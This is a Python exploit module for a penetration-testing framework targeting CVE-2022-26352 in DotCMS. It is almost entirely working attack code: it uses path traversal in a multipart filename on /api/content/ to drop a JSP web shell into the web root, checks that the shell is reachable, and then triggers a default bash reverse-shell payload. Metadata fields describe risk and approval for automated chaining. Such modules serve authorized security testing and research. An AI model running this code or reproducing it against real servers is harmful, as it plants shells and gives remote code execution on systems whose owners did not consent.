DotCMS Arbitrary File Upload RCE (CVE-2022-26352)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""DotCMS arbitrary file upload RCE (CVE-2022-26352) — JSP upload + reverse CMD."""

from __future__ import annotations

import json
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'DotCMS Arbitrary File Upload RCE (CVE-2022-26352)',
        'description': (
            'Exploits CVE-2022-26352 path traversal in multipart filenames on '
            'POST /api/content/ to write a JSP shell under webapps/ROOT, then '
            'triggers a reverse CMD payload.'
        ),
        'author': ['Shubham Shah', 'Hussein Daher', 'KittySploit Team'],
        'cve': ['CVE-2022-26352'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2022-26352',
            'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/',
        ],
        'tags': [
            'dotcms', 'cms', 'upload', 'traversal', 'jsp', 'rce', 'unauth',
            'kev', 'cve-2022-26352',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'artifact_on_disk'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['dotcms'],
                'endpoint_pattern_any': ['/api/content'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'ROOT JSP upload'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/dotcms_admin_detect'],
            },
        },
    }

    port = OptPort(8443, 'DotCMS HTTPS port', True)
    ssl = OptBool(True, 'Use HTTPS', True, advanced=True)
    shell = OptChoice(
        'unix',
        'Shell for JSP Runtime.exec',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    def _join_path(self, *parts: str) -> str:
        base = (self.path or '/').rstrip('/')
        suffix = '/'.join(p.strip('/') for p in parts if p)
        if base:
            return f'{base}/{suffix}'
        return f'/{suffix}'

    def _jsp_body(self, cmd: str) -> str:
        cmd_java = json.dumps(str(cmd))
        if self.shell == 'windows':
            argv = f'new String[] {{"cmd.exe", "/c", {cmd_java}}}'
        else:
            argv = f'new String[] {{"/bin/sh", "-c", {cmd_java}}}'
        return (
            '<%@ page import="java.io.*" %>\n'
            '<%\n'
            f'  Runtime.getRuntime().exec({argv});\n'
            '%>\n'
        )

    def _upload_jsp(self, filename: str, body: str) -> bool:
        traversal_name = f'../../{filename}'
        r = self.http_request(
            method='POST',
            path=self._join_path('api', 'content', ''),
            files={'name': (traversal_name, body.encode(), 'text/plain')},
            allow_redirects=False,
        )
        if not r:
            return False
        return int(r.status_code or 0) == 500

    def _trigger_jsp(self, filename: str):
        return self.http_request(
            method='GET',
            path=self._join_path(filename),
            allow_redirects=False,
        )

    def check(self):
        token = secrets.token_hex(8)
        probe_name = f'{self.random_text(8).lower()}.jsp'
        probe_body = (
            '<%@ page import="java.io.File" %>\n'
            '<%\n'
            f'  new File(getServletContext().getRealPath("/") + "/{probe_name}").delete();\n'
            '%>\n'
            f'{token}\n'
        )
        if not self._upload_jsp(probe_name, probe_body):
            return {
                'vulnerable': False,
                'reason': 'Upload to /api/content/ did not succeed',
                'confidence': 'medium',
            }
        r = self._trigger_jsp(probe_name)
        if r and token in (r.text or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2022-26352 confirmed via traversal JSP probe',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Upload accepted but probe JSP not reachable',
            'confidence': 'medium',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('A reverse CMD payload is required')
            return False

        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target does not appear vulnerable'))
            self.not_vulnerable()
            return False

        jsp_name = f'{self.random_text(10).lower()}.jsp'
        print_status(f'Uploading JSP payload as {jsp_name}...')
        if not self._upload_jsp(jsp_name, self._jsp_body(payload_cmd)):
            print_error('Failed to upload JSP shell')
            return False
        print_success('JSP uploaded under webapps/ROOT')

        print_status('Triggering JSP payload...')
        r = self._trigger_jsp(jsp_name)
        if not r:
            print_error('No response when triggering JSP')
            return False
        print_success(
            f'JSP triggered (HTTP {r.status_code}); waiting for reverse shell session'
        )
        return True